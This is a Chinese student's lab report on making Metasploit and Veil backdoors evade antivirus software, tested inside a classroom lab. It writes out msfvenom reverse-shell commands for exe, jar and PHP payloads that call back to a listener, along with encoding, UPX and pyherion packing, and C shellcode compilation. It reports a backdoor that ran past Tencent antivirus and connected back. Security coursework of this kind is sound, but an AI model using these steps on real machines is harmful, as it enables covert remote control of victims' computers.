Exp3 免杀原理与实践 ——20164316张子遥

Posted 2021-11-23 talank

一、实践基本内容

1.实践目标

（1） 正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，使用shellcode编程

（2）通过组合应用各种技术实现恶意代码免杀

（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。）

（3）用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

 

2.实践基础问题回答

  （1）杀软是如何检测出恶意代码的？

　　特征码：杀软会将恶意代码中有明显特征的一部分作为特征码，通过比对特征码来检测

　　恶意软件行为判断：监控并判断软件行为，以程序的行为来判断是否为恶意软件。

  （2）免杀是做什么？

 　　在靶机当中的后门程序，能够不被杀毒软件所发现

  （3）免杀的基本方法有哪些？

 　　msfvenom生成，msfvenom命令进行多次编码，veil生成，shellcode编程，加壳。

 

---

二、实践具体步骤

目标一：① 正确使用msf编码器，② msfvenom生成如jar之类的其他文件，③ veil-evasion，④加壳工具，⑤ 使用shellcode编程

① 正确使用msf编码器

在上一次的实践中已经成功能够用msfvenom命令生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f exe > 20164316.exe

 

 

将生成的后门程序复制到本机上，可通过 https://www.virustotal.com/  和  http://www.virscan.org/ 查看一下报毒结果。

基本上都达到了半数的报毒，这是直接生成的，那么试试在msfvenom命令中加上参数 i 进行一次或者多次编译。（此处试着编译了一次和七次）

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\\x00’ LHOST=192.168.192.129 LPORT=4316 -f exe > met-encoded.exe

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\\x00’ LHOST=192.168.192.129 LPORT=4316  -f exe > met-encoded7.exe

 

 

再上传到virscan.org上查看结果

相比于之前直接生成的后门程序，报毒率甚至升高了....

② msfvenom生成如jar之类的其他文件

跟之前生成的后门程序同理。只需要修改参数，即可生成jar之类的其他文件。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 x> 4316.jar

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316  x> 4316_2.php

 

③ 使用veil-evasion

由于我自身的虚拟机在下载veil的时候会出现死机的情况...于是拷贝了同学已经下好veil的虚拟机

 使用 veil 命令进入，输入  use Evasion  进入veil的Evasion板块

通过上述所给出的命令，输入list列出可使用的后门程序列表，可以看到有好几种语言的。

输入  use 7  采用该c语言编写的，反弹tcp连接的选项；

然后随着步骤设置

set LHOST 192.168.192.129

set LPORT 4316

最后输入 generate  可生成文件

 

 

由生成结果显示的文件夹，我们可以找到后门程序在虚拟机 var/lib/veil/output/compiled/ 这个目录下，复制到Windows再上传到virscan.org上查看结果

④使用加壳工具

此处使用了upx压缩壳，输入命令 upx pwn4316.exe -o pwn4316.upxed.exe 

将生成好了的后门程序上传到virscan.org上查看结果，发现跟之前的结果差别并不大

⑤ 使用shellcode编程（c语言+shellcode）

首先利用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.129 LPORT=4316 -f c  生成shellcode

输入 vi shellcode1.c  打开vim编辑器创建一个新的.c文件，并把生成的shellcode粘贴过来，再用c语言补全整个程序

保存并退出编辑器后，利用 i686-w64-mingw32-g++ shellcode1.c -o shellcode1.exe 编译.c文件，生成exe文件

将已经生成的后门程序复制到win中，并在Linux虚拟机中设置msf，打开监听，在win中运行程序，回连到kali，但是发现360安全卫士仍然报毒。

 

 目标二：通过组合应用各种技术实现恶意代码免杀

在此次实践中为了能实现免杀，用了很多方法。

1.Linux中生成shellcode，在win中利用codeblock生成.c程序并进行编译，回连kali时仍然报毒。

2.对在Linux中生成的后门程序进行加壳，pyherion加密壳，回连kali时仍然报毒。

3.对在Linux中生成的后门程序进行加壳，先利用upx压缩壳，再使用pyherion加密壳，回连kali时仍然报毒。

有些忘了截图...

——————————以上为失败的尝试，以下是成功的——————————

最后采用的是利用veil生成Python编写的后门，同时在生成时采用了pyherion加壳。（因为veil-Evasion中生成后门能够直接用pyherion加密，较为方便）

最后回连kali成功同时与杀软并存的截图如下

 

 

目标三：用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

目标三仍然采用了veil生成Python编写的后门，同时在生成时采用了pyherion加壳。

因为Linux的虚拟机要连接另一台windows物理机，nat模式行不通，修改为桥接模式，于是虚拟机的ip发生了改变，所以后门程序都需要重新生成，修改LHOST为新的ip192.168.1.173

靶机用腾讯管家扫描了桌面，无法发现已经放在桌面上的后门程序进行报毒，同时回连kali成功

 

 

---

 

三、实践所遇问题与解决

1.在目标四中，起先发现在另一台win中ping虚拟机，会发生TTL传输中过期的问题，也因此在Linux上msf中监听不到后门程序的运行。

问题原因以及解决：发现可能是因为虚拟机网络适配器使用的是NAT模式，而虚拟机的本机win与另一台win在同一局域网，虚拟机与另一台win之间可能形成了路由环路，所以无法ping通，所以将虚拟机网络适配器使用改成了桥接模式，使虚拟机直接与另一台win在同一局域网中。

 

---

 

四、实践收获

　　在本次实验中，掌握了更多种后门程序的生成方法，以及掌握杀软是如何检测到恶意软件的原理，学会把后门程序免杀化，通过各种的尝试使自己的后门程序更加完善。

• 开启杀软能绝对防止电脑中恶意代码吗？

　　很明显，在实践中就能发现事实上杀软并不能绝对防止电脑中恶意代码，恶意软件能通过各种方式试图绕过杀软。